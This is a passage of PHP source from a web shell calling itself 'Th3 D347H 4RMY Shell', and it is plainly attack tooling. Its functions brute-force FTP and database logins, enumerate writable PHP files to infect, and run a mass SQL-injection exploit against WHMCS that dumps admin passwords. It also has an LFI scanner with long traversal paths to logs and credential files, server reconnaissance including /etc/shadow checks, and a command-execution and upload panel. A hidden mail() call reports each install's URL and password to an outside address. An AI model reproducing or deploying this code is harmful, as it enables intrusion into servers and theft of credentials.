674 }
675 }
676 }
677 } elseif($_POST['type'] == 2) {
678 $temp = @file($_POST['dict']);
679 if( is_array($temp) )
680 foreach($temp as $line) {
681 $line = trim($line);
682 ++$attempts;
683 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
684 $success++;
685 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
686 }
687 }
688 }
689 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
690 }
691 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
692 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
693 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
694 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
695 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
696 .'<span>Server:port</span></td>'
697 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
698 .'<tr><td><span>Brute type</span></td>'
699 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
700 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
701 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
702 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
703 .'<td><input type=text name=login value="D34D$"></td></tr>'
704 .'<tr><td><span>Dictionary</span></td>'
705 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
706 .'</td></tr><tr><td></td><td><input type=submit value="Go For It"></td></tr></form></table>';
707 echo '</div><br>';
708 printFooter();
709}
710
711
712function actionInfect() {
713 printHeader();
714 echo '<h1>Infect</h1><div class=content>';
715 if ($_POST['p1'] == 'infect') {
716 $target = $_SERVER['DOCUMENT_ROOT'];
717 function ListFiles($dir) {
718 if ($dh = opendir($dir)) {
719 $files = Array();
720 $inner_files = Array();
721 while ($file = readdir($dh)) {
722 if ($file != "." && $file != "..") {
723 if (is_dir($dir . "/" . $file)) {
724 $inner_files = ListFiles($dir . "/" . $file);
725 if (is_array($inner_files)) $files = array_merge($files, $inner_files);
726 } else {
727 array_push($files, $dir . "/" . $file);
728 }
729 }
730 }
731 closedir($dh);
732 return $files;
733 }
734 }
735 foreach (ListFiles($target) as $key => $file) {
736 $nFile = substr($file, -4, 4);
737 if ($nFile == ".php") {
738 if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
739 echo "$file<br>";
740 $i++;
741 }
742 }
743 }
744 echo "<font color=red size=14>$i</font>";
745 } else {
746 echo "<form method=post><input type=submit value=Infect name=infet></form>";
747 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
748 }
749 printFooter();
750 }
751
752
753
754function printFooter() {
755 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
756echo '</div><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
757<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
758 <tr>
759 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value="Submit"></form></td>
760 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form></td>
761 </tr>
762 <tr>
763 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value="Submit"></form>'.$is_writable.'</td>
764 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
765 </tr>
766 <tr>
767 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value="Submit"></form></td>
768 <td><form method="post" ENCTYPE="multipart/form-data">
769 <input type=hidden name=a value="FilesMAn">
770 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
771 <input type=hidden name=p1 value="uploadFile">
772 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
773 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
774 </tr>
775</table></div></div>
776<div style="margin:5px;background:#000;"><div class="content" style="border-top:1px #56A3E9;text-align:center;font-weight:bold;"><font color="#2052ff">Th3 D347H 4RMY Shell '.VERSION.'<br>WE ARE: <marquee width="50%"> Th3 D347H 4RMY </marquee></font></div></div>
777</div>
778</body></html>';
779}
780if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
781if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
782
783if(!isset($_SESSION['trimite'])){
784 $url=" IP: ".gethostbyname($_SERVER["HTTP_HOST"]);
785 $to="cdevil140@gmail.com";
786$subject = "Shell 1.0 Uploaded";
787$header = "from: New Shell";
788$message = " link : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."\r\n";
789"User IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
790$message.="Path :"._file_;
791$message.="Pass :".$auth_pass;
792$sentmail = @mail($to,$subject,$message,$header);
793
794
795
796}
797function viewSize($s) {
798 if($s >= 1073741824)
799 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
800 elseif($s >= 1048576)
801 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
802 elseif($s >= 1024)
803 return sprintf('%1.2f', $s / 1024 ) . ' KB';
804 else
805 return $s . ' B';
806}
807function perms($p) {
808 if (($p & 0xC000) == 0xC000)$i = 's';
809 elseif (($p & 0xA000) == 0xA000)$i = 'l';
810 elseif (($p & 0x8000) == 0x8000)$i = '-';
811 elseif (($p & 0x6000) == 0x6000)$i = 'b';
812 elseif (($p & 0x4000) == 0x4000)$i = 'd';
813 elseif (($p & 0x2000) == 0x2000)$i = 'c';
814 elseif (($p & 0x1000) == 0x1000)$i = 'p';
815 else $i = 'u';
816 $i .= (($p & 0x0100) ? 'r' : '-');
817 $i .= (($p & 0x0080) ? 'w' : '-');
818 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
819 $i .= (($p & 0x0020) ? 'r' : '-');
820 $i .= (($p & 0x0010) ? 'w' : '-');
821 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
822 $i .= (($p & 0x0004) ? 'r' : '-');
823 $i .= (($p & 0x0002) ? 'w' : '-');
824 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
825 return $i;
826}
827function viewPermsColor($f) {
828 if (!@is_readable($f))
829 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
830 elseif (!@is_writable($f))
831 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
832 else
833 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
834}
835if(!function_exists("scandir")) {
836 function scandir($dir) {
837 $dh = opendir($dir);
838 while (false !== ($filename = readdir($dh))) {
839 $files[] = $filename;
840 }
841 return $files;
842 }
843}
844//shive function will b here //start
845
846function actionshiv()// oops he have given there shiv now here it was shive so err
847{
848printHeader();
849
850
851echo '<body bgcolor=black>
852<center><font color=orange>
853<h1>Mass SQLi WHMCS</h1>
854<form method=post>
855<textarea name=sites rows=10 cols=50 placeholder="http://www.cybernamix.com.au"></textarea><br><br>
856<input type=submit></form><hr>';
857
858if(isset($_POST['sites'])){
859
860 $exp=explode("\r\n",$_POST['sites']);
861 foreach($exp as $url){
862
863$site = $url."/viewticket.php";
864
865$post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,concat(0x3c2f7469746c653e7665727361696c6c6573,(select(@x)from(select(@x:=0x00),(select(0)from(tbladmins)where(@x:=concat(@x,0x0d0a,username,0x207c20,password))))x),0x3c62723e736563376f727465616d),0,0,0,0,0,0,0,0,0,0,0#";
866
867
868$ch = curl_init();
869curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
870curl_setopt($ch, CURLOPT_URL, $site);
871curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
872curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
873curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
874curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
875$exec = curl_exec($ch);
876curl_close($ch);
877
878if(eregi('versailles',$exec)){
879
880echo "<font color=orange> [+] ".$url."</font><font color=lime> [INJECTED] </font><br>";
881echo "<font color=lime>";
882echo ikkeh($exec,"versailles","sec7orteam");
883
884echo "</font><hr>";
885
886flush();
887ob_flush();
888
889}else{
890echo "<font color=red>[-] ".$url." [NOT VULNERABLE]</font><br><hr>";
891}
892
893}
894}
895
896function ikkeh($txt,$awal,$akhir) {
897$pos1 = stripos($txt,$awal)+strlen($awal);
898$pos2 = stripos($txt,$akhir,$pos1+1);
899return substr($txt,$pos1,$pos2-$pos1);
900};
901
902
903
904printFooter();
905}
906
907//end
908
909
910
911
912function actionSecInfo() {
913 printHeader();
914 echo ' <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;"> <h1>Server security information By D3M0n </h1><h1> Th3 D347H 4RMY </h1><div class=content>';
915 function showSecParam($n, $v) {
916 $v = trim($v);
917 if($v) {
918 echo '<span>'.$n.': </span>';
919 if(strpos($v, "\n") === false)
920 echo $v.'<br>';
921 else
922 echo '<pre class=ml1>'.$v.'</pre>';
923 }
924 }
925 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
926 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
927 showSecParam('Open base dir', @ini_get('open_basedir'));
928 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
929 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
930 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
931 $temp=array();
932 if(function_exists('mysql_get_client_info'))
933 $temp[] = "MySql (".mysql_get_client_info().")";
934 if(function_exists('mssql_connect'))
935 $temp[] = "MSSQL";
936 if(function_exists('pg_connect'))
937 $temp[] = "PostgreSQL";
938 if(function_exists('oci_connect'))
939 $temp[] = "Oracle";
940 showSecParam('Supported databases', implode(', ', $temp));
941 echo '<br>';
942 if( $GLOBALS['os'] == 'nix' ) {
943 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
944 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
945 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
946 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
947 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
948 showSecParam('OS version', @file_get_contents('/proc/version'));
949 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
950 if(!$GLOBALS['safe_mode']) {
951 echo '<br>';
952 $temp=array();
953 foreach ($userful as $item)
954 if(which($item)){$temp[]=$item;}
955 showSecParam('Userful', implode(', ',$temp));
956 $temp=array();
957 foreach ($danger as $item)
958 if(which($item)){$temp[]=$item;}
959 showSecParam('Danger', implode(', ',$temp));
960 $temp=array();
961 foreach ($downloaders as $item)
962 if(which($item)){$temp[]=$item;}
963 showSecParam('Downloaders', implode(', ',$temp));
964 echo '<br/>';
965 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
966 showSecParam('HDD space', ex('df -h'));
967 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
968 }
969 } else {
970 showSecParam('OS Version',ex('ver'));
971 showSecParam('Account Settings',ex('net accounts'));
972 showSecParam('User Accounts',ex('net user'));
973 }
974 echo '</div>';
975 printFooter();
976}
977
978function actionlfiscan() {
979 printHeader();
980 print '
981 <h3>LFI File dumper By TDA</h3>
982
983 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
984 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
985 <option value="1">
986 Access Log
987 </option>
988
989 <option value="2">
990 httpd.conf
991 </option>
992
993 <option value="3">
994 Error Log
995 </option>
996 <option value="4">
997 php.ini
998 </option>
999 <option value="5">
1000 MySQL
1001 </option>
1002 <option value="6">
1003 FTP
1004 </option>
1005 <option value="7">
1006 Environ
1007 </option>
1008 </select> Null: <select name="null">
1009 <option value="%00">
1010 Yes
1011 <option value="">
1012 No
1013 </option>
1014 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
1015 </form>';
1016 error_reporting(0);
1017 if($_POST['lfiurl']) {
1018 print "<pre>";
1019 $cheader = $_POST['custom_header'];
1020 $target = $_POST['lfiurl'];
1021 $type = $_POST['scantype'];
1022 $byte1 = $_POST['null'];
1023 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1024 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1025 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1026 $lfiaccess = array(
1027 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1028 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1029 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1030 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1031 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1032 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1033 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1034 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1035 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1036 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1037 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1038 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1039 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1040 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1041 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1042 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1043 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1044 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1045 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1046 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1047 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1048 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1049 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1050
1051 $lfierror = array(
1052 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1053 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1054 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1055 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1056 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1057 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1058 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1059 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1060 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1061 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1062 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1063 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1064 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1065 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1066 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1067 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1068 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1069 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1070 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1071 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1072 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1073 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1074 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1075
1076 $lficonfig = array(
1077 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1078 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1079 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1080 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1081 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1082 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1083 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1084 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1085 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1086 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1087 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1088 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1089 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1090 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1091 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1092 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1093 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1094 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1095 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1096 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1097 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1098 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1099 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1100 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1101 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1102 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1103 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1104 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1105 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1106 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1107 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
1108 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1109 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1110 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1111 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1112
1113 $lfiphpini = array(
1114 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1115 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
1116 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
1117 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
1118 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
1119 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
1120 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
1121 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
1122 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
1123 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
1124 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
1125 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
1126 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
1127 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
1128 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
1129 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
1130 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
1131 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
1132 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
1133 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
1134 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
1135 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
1136 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
1137 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
1138 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
1139 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
1140 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
1141
1142 $lfimysql = array(
1143 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
1144 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
1145 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
1146 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
1147 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
1148 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
1149 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
1150 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
1151 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
1152 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
1153
1154 $lfiftp = array(
1155 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
1156 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
1157 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
1158 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
1159 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
1160 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
1161 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
1162 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
1163 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
1164 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
1165 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
1166 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
1167 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
1168 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
1169 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
1170 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
1171 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
1172 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
1173 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
1174 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
1175 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
1176 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
1177 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
1178 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
1179 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
1180 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
1181 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
1182 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
1183 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
1184 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
1185 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
1186 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
1187 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
1188 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
1189 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
1190 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
1191 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
1192 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
1193 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
1194 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
1195 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
1196 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
1197 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
1198 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
1199
1200
1201 $x = 1;
1202 if ( $type == 1 ) {
1203 $res1 = FetchURL($target.$lfitest);
1204 $res2 = FetchURL($target.$lfitest2);
1205 $rhash1 = md5($res1);
1206 $rhash2 = md5($res2);
1207 if ($rhash1 != $rhash2) {
1208 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1209 while($lfiaccess[$x]) {
1210 $res3 = FetchURL($target.$lfiaccess[$x]);
1211 $rhash3 = md5($res3);
1212 if ($rhash3 != $rhash2) {
1213 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
1214 }
1215 else {
1216 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
1217 }
1218 $x++;
1219 }
1220 }
1221 }
1222 if ( $type == 2 ) {
1223 $res1 = FetchURL($target.$lfitest);
1224 $res2 = FetchURL($target.$lfitest2);
1225 $rhash1 = md5($res1);
1226 $rhash2 = md5($res2);
1227 if ($rhash1 != $rhash2) {
1228 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
